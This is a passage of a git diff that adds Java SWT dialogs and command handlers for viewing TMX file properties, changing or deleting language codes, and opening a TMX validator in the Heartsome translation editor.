LinkedList(); + tgtlangList.add(LanguageUtils.convertLangCode(srclang)); + for (String lang : propbean.getTargetLang()) { + tgtlangList.add(LanguageUtils.convertLangCode(lang)); + } + int i = 0; + for (Language language : langstore) { + if (langIndexMap.size() == tgtlangList.size()) { + break; + } + if (tgtlangList.contains(language.getCode())) { + langIndexMap.put(language.getCode(), i); + } + i++; + } + tgtlangList.remove(0); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.deleteLangCodeDialog.title")); + } + + /** + * Create contents of the dialog. + * @param parent + */ + @Override + protected Control createDialogArea(Composite parent) { + + Composite composite = new Composite(parent, SWT.BORDER); + composite.setLayout(GridLayoutFactory.createFrom(new GridLayout(3, false)).margins(10, 10).create()); + composite.setLayoutData(GridDataFactory.createFrom(new GridData(GridData.FILL_BOTH)).hint(400, SWT.DEFAULT) + .create()); + + Label lblOldSrclang = new Label(composite, SWT.NONE); + lblOldSrclang.setText(Messages.getString("dialog.deleteLangCodeDialog.srcLable")); + new Label(composite, SWT.NONE); + // Button btnSrclang = new Button(composite, SWT.CHECK); + // btnSrclang.addSelectionListener(new SelectionAdapter() { + // @Override + // public void widgetSelected(SelectionEvent e) { + // + // } + // }); + Label txtSrclang = new Label(composite, SWT.NONE); + txtSrclang.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + txtSrclang.setText(langIndexMap.get(srclang) == null ? srclang : langstore.get(langIndexMap.get(srclang)) + .toString()); + int i = 0; + for (final String lang : tgtlangList) { + Label lblOldTgtLang = new Label(composite, SWT.NONE); + if (i++ < 1) { + lblOldTgtLang.setText(Messages.getString("dialog.deleteLangCodeDialog.tgtLable")); + } + final Button btnTgtlang = new Button(composite, SWT.CHECK); + btnTgtlang.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + if (btnTgtlang.getSelection()) { + deleteLangCode.add(lang); + } else { + deleteLangCode.remove(lang); + } + } + }); + Text txtTgtlang = new Text(composite, SWT.NONE); + txtTgtlang.setEditable(false); + txtTgtlang.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + txtTgtlang + .setText(langIndexMap.get(lang) == null ? lang : langstore.get(langIndexMap.get(lang)).toString()); + } + return composite; + } + + /** + * Create contents of the button bar. + * @param parent + */ + @Override + protected void createButtonsForButtonBar(Composite parent) { + createButton(parent, IDialogConstants.OK_ID, IDialogConstants.OK_LABEL, true); + createButton(parent, IDialogConstants.CANCEL_ID, IDialogConstants.CANCEL_LABEL, false); + } + + @Override + protected void okPressed() { + if (deleteLangCode.size() == tgtlangList.size()) { + MessageDialog.openError(getShell(), Messages.getString("ui.all.dialog.error"), + Messages.getString("te.ui.deleteLangHandler.error.deleteAllTgtMsg")); + return; + } + setReturnCode(OK); + close(); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.common.ui.dialog.HsAbstractHelpDilog#getDisplayHelpUrl() + */ + @Override + public String getDisplayHelpUrl() { + // TODO Auto-generated method stub + return "/net.heartsome.cat.te.ui.help/html/{0}/ch03.html#del_lang_id"; + } + +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/task/ui/ModifyLangCodeDialog.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/task/ui/ModifyLangCodeDialog.java new file mode 100644 index 0000000..24ad7e2 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/task/ui/ModifyLangCodeDialog.java @@ -0,0 +1,323 @@ +package net.heartsome.cat.te.ui.task.ui; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.Comparator; +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.locale.Language; +import net.heartsome.cat.common.locale.LocaleService; +import net.heartsome.cat.common.ui.Activator; +import net.heartsome.cat.common.ui.dialog.HsAbstractHelpDilog; +import net.heartsome.cat.common.ui.languagesetting.LanguageLabelProvider; +import net.heartsome.cat.common.ui.utils.OpenMessageUtils; +import net.heartsome.cat.common.util.LanguageUtils; +import net.heartsome.cat.te.core.bean.TmxPropertiesBean; +import net.heartsome.cat.te.ui.resource.Messages; + +import org.eclipse.core.runtime.IStatus; +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.nebula.jface.tablecomboviewer.TableComboViewer; +import org.eclipse.nebula.widgets.tablecombo.TableCombo; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.CLabel; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.ImageData; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class ModifyLangCodeDialog extends HsAbstractHelpDilog { + + public static Logger LOGGER = LoggerFactory.getLogger(ModifyLangCodeDialog.class.getName()); + + /** 修改å‰æºè¯­è¨€ä»£ç . */ + private String oldSrclang; + /** 修改å‰ç›®æ ‡è¯­è¨€ä»£ç é›†åˆ */ + private List oldTgtlangList; + + private TmxPropertiesBean propbean; + private Map resultMap = null; + private List langstore = new ArrayList(LocaleService.getDefaultLanguage().values()); + private Map langIndexMap = new HashMap(); + private Map newTgtlangMap; + + private TableComboViewer tcvNew; + private Map imageCache = new HashMap(); + /** + * + * @param parentShell shell + * @param propbean TmxpropertiesBean + * @param resultMap 存放需è¦ä¿®æ”¹çš„语言代ç 
  • key:æºè¯­è¨€
  • value:修改åŽè¯­è¨€ä»£ç 
  • + */ + public ModifyLangCodeDialog(Shell parentShell, TmxPropertiesBean propbean, Map resultMap) { + super(parentShell); + this.propbean = propbean; + this.resultMap = resultMap; + Collections.sort(langstore, new Comparator() { + public int compare(Language o1, Language o2) { + return o1.toString().compareTo(o2.toString()); + } + }); + oldSrclang = LanguageUtils.convertLangCode(propbean.getSrcLang()); + + // 修正 propbean 中的语言代ç ï¼Œæ—¶æœŸç¬¦åˆè§„范 + oldTgtlangList = new LinkedList(); + oldTgtlangList.add(oldSrclang); + for (String lang : propbean.getTargetLang()) { + oldTgtlangList.add(LanguageUtils.convertLangCode(lang)); + } + String langcode = null; + for (int i = 0; i < langstore.size(); i++) { + langcode = langstore.get(i).getCode(); + if (oldTgtlangList.contains(langcode)) { + langIndexMap.put(langcode, i); + } + if (oldTgtlangList.size() == langIndexMap.size()) { + break; + } + } + oldTgtlangList.remove(0); + newTgtlangMap = new HashMap(); + + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.ModifyLangCodeDialog.title")); + } + + @Override + protected Control createDialogArea(Composite parent) { + + Composite composite = new Composite(parent, SWT.NONE); + composite.setLayout(new GridLayout(2, false)); + composite.setLayoutData(new GridData(GridData.FILL_BOTH)); + + // ä¿®æ”¹å‰ + Group groupOld = new Group(composite, SWT.NONE); + groupOld.setText(Messages.getString("dialog.ModifyLangCodeDialog.groupOldlbl")); + groupOld.setLayout(new GridLayout(2, false)); + groupOld.setLayoutData(new GridData(GridData.FILL_BOTH)); + + Label lblOldSrclang = new Label(groupOld, SWT.NONE); + lblOldSrclang.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, true, false, 1, 1)); + lblOldSrclang.setText(Messages.getString("dialog.ModifyLangCodeDialog.groupOld.scritem")); + CLabel label = new CLabel(groupOld, SWT.BORDER); + label.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + + Language srcLan = langstore.get(langIndexMap.get(oldSrclang)); + label.setText(langIndexMap.get(oldSrclang) == null ? + oldSrclang : langstore.get(langIndexMap.get(oldSrclang)).toString()); + String imagePath = srcLan.getImagePath(); + if (imagePath != null && !imagePath.equals("")) { + ImageDescriptor imageDesc = Activator.getImageDescriptor(imagePath); + if (imageDesc != null) { + ImageData data = imageDesc.getImageData().scaledTo(16, 12); + Image image = new Image(Display.getDefault(), data); + // 销æ¯åŽŸæ¥çš„图片 + Image im = imageCache.put(srcLan.getCode(), image); + if (im != null && !im.isDisposed()) { + im.dispose(); + } + label.setImage(image); + } + } + int i = 0; + for (String lang : oldTgtlangList) { + Label lblOldTgtLang = new Label(groupOld, SWT.NONE); + if (i++ < 1) { + lblOldTgtLang.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, true, false, 1, 1)); + lblOldTgtLang.setText(Messages.getString("dialog.ModifyLangCodeDialog.groupOld.tgtitem")); + } + label = new CLabel(groupOld, SWT.BORDER); + label.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + if (langIndexMap.get(lang) != null) { + Language lan = langstore.get(langIndexMap.get(lang)); + label.setText(lan.toString()); + imagePath = lan.getImagePath(); + if (imagePath != null && !imagePath.equals("")) { + ImageDescriptor imageDesc = Activator.getImageDescriptor(imagePath); + if (imageDesc != null) { + ImageData data = imageDesc.getImageData().scaledTo(16, 12); + Image image = new Image(Display.getDefault(), data); + // 销æ¯åŽŸæ¥çš„图片 + Image im = imageCache.put(lan.getCode(), image); + if (im != null && !im.isDisposed()) { + im.dispose(); + } + label.setImage(image); + } + } + } else { + label.setText(lang); + } + } + + // ä¿®æ”¹åŽ + Group groupNew = new Group(composite, SWT.NONE); + groupNew.setText(Messages.getString("dialog.ModifyLangCodeDialog.groupNewlbl")); + groupNew.setLayout(new GridLayout(2, false)); + groupNew.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1)); + + Label lblNewSrclang = new Label(groupNew, SWT.NONE); + lblNewSrclang.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, true, false, 1, 1)); + lblNewSrclang.setText(Messages.getString("dialog.ModifyLangCodeDialog.groupNew.scritem")); + tcvNew = new TableComboViewer(groupNew, SWT.READ_ONLY | SWT.BORDER); + final TableCombo tcNew = tcvNew.getTableCombo(); + tcNew.setShowTableLines(false); + tcNew.setShowTableHeader(false); + tcNew.setDisplayColumnIndex(-1); + tcNew.setShowImageWithinSelection(true); + tcNew.setShowColorWithinSelection(false); + tcNew.setShowFontWithinSelection(false); + tcNew.setVisibleItemCount(20); + tcNew.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + tcvNew.setLabelProvider(new LanguageLabelProvider()); + tcvNew.setContentProvider(new ArrayContentProvider()); + tcvNew.setInput(langstore); +// tcvNew.addSelectionChangedListener(new ISelectionChangedListener() { +// public void selectionChanged(SelectionChangedEvent event) { +// IStructuredSelection selection = (IStructuredSelection) event.getSelection(); +// Language srcLanguage = (Language) selection.getFirstElement(); +// oldSrclang = srcLanguage.getCode(); +// } +// }); + tcNew.select(langIndexMap.get(propbean.getSrcLang())); + + i = 0; + for (String lang : oldTgtlangList) { + Label lbl = new Label(groupNew, SWT.NONE); + if (i < 1) { + lbl.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, true, false, 1, 1)); + lbl.setText(Messages.getString("dialog.ModifyLangCodeDialog.groupNew.tgtitem")); + + } + TableComboViewer tcvNewTgt = new TableComboViewer(groupNew, SWT.READ_ONLY | SWT.BORDER); + TableCombo tcNewTgt = tcvNewTgt.getTableCombo(); + tcNewTgt.setShowTableLines(false); + tcNewTgt.setShowTableHeader(false); + tcNewTgt.setDisplayColumnIndex(-1); + tcNewTgt.setShowImageWithinSelection(true); + tcNewTgt.setShowColorWithinSelection(false); + tcNewTgt.setShowFontWithinSelection(false); + tcNewTgt.setVisibleItemCount(20); + tcNewTgt.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + tcvNewTgt.setLabelProvider(new LanguageLabelProvider()); + tcvNewTgt.setContentProvider(new ArrayContentProvider()); + tcNewTgt.setText(""); + tcvNewTgt.setInput(langstore); + if (langIndexMap.get(lang) == null) { + tcNewTgt.setText(lang); + } else { + tcNewTgt.select(langIndexMap.get(lang)); + } + newTgtlangMap.put(i, tcvNewTgt); + i++; + } + + return composite; + } + + /** + * Create contents of the button bar. + * @param parent + */ + @Override + protected void createButtonsForButtonBar(Composite parent) { + createButton(parent, IDialogConstants.OK_ID, IDialogConstants.OK_LABEL, true); + createButton(parent, IDialogConstants.CANCEL_ID, IDialogConstants.CANCEL_LABEL, false); + } + + @Override + protected void okPressed() { + Language modifyLang = null; + IStructuredSelection selection = null; + // 对比æºè¯­è¨€ + selection = (IStructuredSelection) tcvNew.getSelection(); + Language srcLang = (Language) selection.getFirstElement(); + String srcCode = srcLang.getCode(); + if (!srcLang.getCode().equals(oldSrclang)) { + resultMap.put(oldSrclang, srcLang.getCode()); + } + // 对比目标语言 + List langs = new ArrayList(); + for (int i = 0; i < oldTgtlangList.size(); i++) { + selection = (IStructuredSelection) newTgtlangMap.get(i).getSelection(); + if (selection.isEmpty()) { + String code = newTgtlangMap.get(i).getTableCombo().getText(); + langs.add(code); + if(langs.contains(code)){ + // ERROR + OpenMessageUtils.openMessage(IStatus.ERROR, Messages.getString("dialog.ModifyLangCodeDialog.checkMsg2")); + newTgtlangMap.get(i).getTableCombo().setFocus(); + return; + } + } else { + modifyLang = (Language) selection.getFirstElement(); + String code = modifyLang.getCode(); + if(code.equals(srcCode)){ + // ERROR + OpenMessageUtils.openMessage(IStatus.ERROR, Messages.getString("dialog.ModifyLangCodeDialog.checkMsg1")); + newTgtlangMap.get(i).getTableCombo().setFocus(); + return; + } + if(langs.contains(code)){ + // ERROR + OpenMessageUtils.openMessage(IStatus.ERROR, Messages.getString("dialog.ModifyLangCodeDialog.checkMsg2")); + newTgtlangMap.get(i).getTableCombo().setFocus(); + return; + } + langs.add(code); + if (!code.equals(oldTgtlangList.get(i))) { + resultMap.put(oldTgtlangList.get(i), modifyLang.getCode()); + } + } + } + if (resultMap.size() > 0) { + setReturnCode(OK); + close(); + } else { + cancelPressed(); + } + } + + @Override + public boolean close() { + for (String code : imageCache.keySet()) { + Image im = imageCache.get(code); + if (im != null && !im.isDisposed()) { + im.dispose(); + } + } + imageCache.clear(); + return super.close(); + } + + /** (non-Javadoc) + * @see net.heartsome.cat.common.ui.dialog.HsAbstractHelpDilog#getDisplayHelpUrl() + */ + @Override + public String getDisplayHelpUrl() { + return "/net.heartsome.cat.te.ui.help/html/{0}/ch03.html#edit_lang_id"; + } +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/tmxproperties/ShowTmxPropHandler.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/tmxproperties/ShowTmxPropHandler.java new file mode 100644 index 0000000..6cf5ad0 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/tmxproperties/ShowTmxPropHandler.java @@ -0,0 +1,34 @@ +/** + * ShowTmxPropHandler.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.ui.tmxproperties; + +import net.heartsome.cat.te.core.bean.TmxPropertiesBean; +import net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.handlers.HandlerUtil; + +public class ShowTmxPropHandler extends AbstractHandler { + + @Override + public Object execute(ExecutionEvent event) throws ExecutionException { + final TmxPropertiesBean bean = TmxEditorViewer.getInstance().getTmxEditor().getTmxProperties(true); + TmxPropertiesDialog dlg = new TmxPropertiesDialog( HandlerUtil.getActiveWorkbenchWindow(event).getShell(), bean); + dlg.open(); + return null; + } + +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/tmxproperties/TmxPropertiesDialog.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/tmxproperties/TmxPropertiesDialog.java new file mode 100644 index 0000000..6908870 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/tmxproperties/TmxPropertiesDialog.java @@ -0,0 +1,246 @@ +package net.heartsome.cat.te.ui.tmxproperties; + +import java.text.DecimalFormat; +import java.text.NumberFormat; + +import net.heartsome.cat.common.locale.Language; +import net.heartsome.cat.common.locale.LocaleService; +import net.heartsome.cat.common.util.LanguageUtils; +import net.heartsome.cat.te.core.bean.TmxPropertiesBean; +import net.heartsome.cat.te.ui.resource.Messages; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.swt.SWT; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; + +public class TmxPropertiesDialog extends Dialog { + private Text txtVersion; + private Text txtLocation; + private Text txtSize; + private Text txtCreateUser; + private Text txtCreateTime; + private Text txtCreateTool; + private Text txtCountTu; + private Text txtSourceLang; + private Text txtTargetLang; + + private TmxPropertiesBean tmxPropBean; + private Text txtCreateToolVersion; + + /** + * Create the dialog. + * @param parentShell + */ + public TmxPropertiesDialog(Shell parentShell, TmxPropertiesBean tmxPropBean) { + super(parentShell); + setShellStyle(SWT.CLOSE | SWT.MAX | SWT.RESIZE | SWT.TITLE); + this.tmxPropBean = tmxPropBean; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("tmxproperties.dialog.dialogTitile")); + } + + /** + * Create contents of the dialog. + * @param parent + */ + @Override + protected Control createDialogArea(Composite parent) { + Composite container = (Composite) super.createDialogArea(parent); + container.setEnabled(false); + GridLayout gl_container = new GridLayout(2, false); + gl_container.marginTop = 5; + gl_container.marginRight = 5; + gl_container.marginLeft = 5; + container.setLayout(gl_container); + GridDataFactory.swtDefaults().hint(650, SWT.DEFAULT).applyTo(container); + + GridData gdLeftAlign = new GridData(SWT.RIGHT, SWT.CENTER, false, false); + + Label titleLabel = new Label(container, SWT.NONE); + titleLabel.setFont(JFaceResources.getBannerFont()); + titleLabel.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 2, 1)); + titleLabel.setText(Messages.getString("tmxproperties.dialog.resourceTitle")); + + Label sp1 = new Label(container, SWT.SEPARATOR | SWT.HORIZONTAL); + sp1.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 2, 1)); + + Label lblVersion = new Label(container, SWT.NONE); + lblVersion.setText(Messages.getString("tmxproperties.dialog.version")); + + txtVersion = new Text(container, SWT.NONE); + txtVersion.setEnabled(false); + txtVersion.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + Label lblLocation = new Label(container, SWT.NONE); + lblLocation.setText(Messages.getString("tmxproperties.dialog.location")); + + txtLocation = new Text(container, SWT.NONE); + txtLocation.setEnabled(false); + txtLocation.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + Label lblSize = new Label(container, SWT.NONE); + lblSize.setText(Messages.getString("tmxproperties.dialog.size")); + + txtSize = new Text(container, SWT.NONE); + txtSize.setEnabled(false); + txtSize.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + Label lblCreateUser = new Label(container, SWT.NONE); + lblCreateUser.setText(Messages.getString("tmxproperties.dialog.createuser")); + + txtCreateUser = new Text(container, SWT.NONE); + txtCreateUser.setEnabled(false); + txtCreateUser.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + Label lblCreateTime = new Label(container, SWT.NONE); + lblCreateTime.setText(Messages.getString("tmxproperties.dialog.createtime")); + + txtCreateTime = new Text(container, SWT.NONE); + txtCreateTime.setEnabled(false); + txtCreateTime.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + Label lblCreateTool = new Label(container, SWT.NONE); + lblCreateTool.setText(Messages.getString("tmxproperties.dialog.createtool")); + + txtCreateTool = new Text(container, SWT.NONE); + txtCreateTool.setEnabled(false); + txtCreateTool.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + Label lblCreateToolVersion = new Label(container, SWT.NONE); + lblCreateToolVersion.setText(Messages.getString("tmxproperties.dialog.createversion")); + + txtCreateToolVersion = new Text(container, SWT.NONE); + txtCreateToolVersion.setEnabled(false); + txtCreateToolVersion.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + Label sp2 = new Label(container, SWT.SEPARATOR | SWT.HORIZONTAL); + sp2.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 2, 1)); + + Label lblCountTu = new Label(container, SWT.NONE); + lblCountTu.setText(Messages.getString("tmxproperties.dialog.conuttu")); + + txtCountTu = new Text(container, SWT.NONE); + txtCountTu.setEnabled(false); + txtCountTu.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + Label lblSourceLang = new Label(container, SWT.NONE); + lblSourceLang.setText(Messages.getString("tmxproperties.dialog.sourcelang")); + + txtSourceLang = new Text(container, SWT.NONE); + txtSourceLang.setEnabled(false); + txtSourceLang.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + Label lblTargetLang = new Label(container, SWT.NONE); + lblTargetLang.setText(Messages.getString("tmxproperties.dialog.targetlang")); + int size = tmxPropBean.getTargetLang().size(); + txtTargetLang = new Text(container, SWT.MULTI); + txtTargetLang.setEnabled(false); + txtTargetLang.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, --size)); + for (int i = 0; i < size; i++) { + new Label(container, SWT.NONE); + } + + // label align left #3816 + GridDataFactory.createFrom(gdLeftAlign).applyTo(lblVersion); + GridDataFactory.createFrom(gdLeftAlign).applyTo(lblLocation); + GridDataFactory.createFrom(gdLeftAlign).applyTo(lblSize); + GridDataFactory.createFrom(gdLeftAlign).applyTo(lblCreateUser); + GridDataFactory.createFrom(gdLeftAlign).applyTo(lblCreateTime); + GridDataFactory.createFrom(gdLeftAlign).applyTo(lblCreateTool); + GridDataFactory.createFrom(gdLeftAlign).applyTo(lblCreateToolVersion); + GridDataFactory.createFrom(gdLeftAlign).applyTo(lblCountTu); + GridDataFactory.createFrom(gdLeftAlign).applyTo(lblSourceLang); + GridDataFactory.createFrom(gdLeftAlign).align(SWT.RIGHT, SWT.TOP).applyTo(lblTargetLang); + + this.fillInfo(); + return container; + } + + /** + * Create contents of the button bar. + * @param parent + */ + @Override + protected void createButtonsForButtonBar(Composite parent) { + createButton(parent, IDialogConstants.CANCEL_ID, IDialogConstants.CLOSE_LABEL, false); + } + + private void fillInfo() { + if (tmxPropBean != null) { + if (tmxPropBean.getVersion() != null) { + txtVersion.setText(tmxPropBean.getVersion()); + } + if (tmxPropBean.getLocation() != null) { + txtLocation.setText(tmxPropBean.getLocation()); + } + if (tmxPropBean.getFileSize() != null) { + DecimalFormat df = new DecimalFormat("#.##"); + NumberFormat nf = NumberFormat.getInstance(); + Long lSize = Long.parseLong(tmxPropBean.getFileSize()); + String size = null; + if (lSize < 1024) { + size = new StringBuffer().append(lSize).append(" bytes").toString(); + } else if (lSize < 1024 * 1024) { + double d = Double.parseDouble(df.format(lSize / 1024.0)); + size = new StringBuffer().append(nf.format(d)).append(" KB").toString(); + } else if (lSize < 1024 * 1024 * 1024) { + double d = Double.parseDouble(df.format(lSize / (1024.0 * 1024.0))); + size = new StringBuffer().append(nf.format(d)).append(" MB").toString(); + } else { + double d = Double.parseDouble(df.format(lSize / (1024.0 * 1024.0 * 1024.0))); + size = new StringBuffer().append(nf.format(d)).append(" GB").toString(); + } + txtSize.setText(size); + } + if (tmxPropBean.getCreator() != null) { + txtCreateUser.setText(tmxPropBean.getCreator()); + } + if (tmxPropBean.getCreationDate() != null) { + txtCreateTime.setText(tmxPropBean.getCreationDate()); + } + if (tmxPropBean.getCreationTooles() != null) { + txtCreateTool.setText(tmxPropBean.getCreationTooles()); + } + if (tmxPropBean.getCreationTooleVersion() != null) { + txtCreateToolVersion.setText(tmxPropBean.getCreationTooleVersion()); + } + if (tmxPropBean.getTuNumber() != 0) { + txtCountTu.setText(String.valueOf(tmxPropBean.getTuNumber())); + } + Language src = LocaleService.getDefaultLanguage().get(tmxPropBean.getSrcLang()); + String srcDisplay = src == null ? tmxPropBean.getSrcLang() : src.toString(); + txtSourceLang.setText(srcDisplay); + + if (tmxPropBean.getTargetLang() != null) { + StringBuffer targetLang = new StringBuffer(); + for (String str : tmxPropBean.getTargetLang()) { + Language language = LocaleService.getDefaultLanguage().get(LanguageUtils.convertLangCode(str)); + targetLang.append(language == null ? str : language.toString()).append("\n"); + } + txtTargetLang.setText(targetLang.subSequence(0, targetLang.length() - 1).toString()); + } + } + } + +// /** +// * Return the initial size of the dialog. +// */ +// @Override +// protected Point getInitialSize() { +// return new Point(650, 369); +// } + +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/tmxvalidator/TmxValidateHandler.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/tmxvalidator/TmxValidateHandler.java new file mode 100644 index 0000000..d2f81b5 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/tmxvalidator/TmxValidateHandler.java @@ -0,0 +1,33 @@ +/** + * TmxValidateHandler.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.ui.tmxvalidator; + +import net.heartsome.cat.te.ui.tmxvalidator.ui.TmxValidatorDialog; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.handlers.HandlerUtil; + +public class TmxValidateHandler extends AbstractHandler { + + @Override + public Object execute(ExecutionEvent event) throws ExecutionException { + + Shell shell = HandlerUtil.getActiveShell(event); + TmxValidatorDialog dialog = new TmxValidatorDialog(shell); + dialog.open(); + return null; + } +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/tmxvalidator/ui/TmxValidatorDialog.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/tmxvalidator/ui/TmxValidatorDialog.java new file mode 100644 index 0000000..aedb9da --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/tmxvalidator/ui/TmxValidatorDialog.java @@ -0,0 +1,156 @@ +/** + * TmxValidatorDialog.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.ui.tmxvalidator.ui; + +import java.io.File; +import java.lang.reflect.InvocationTargetException; + +import 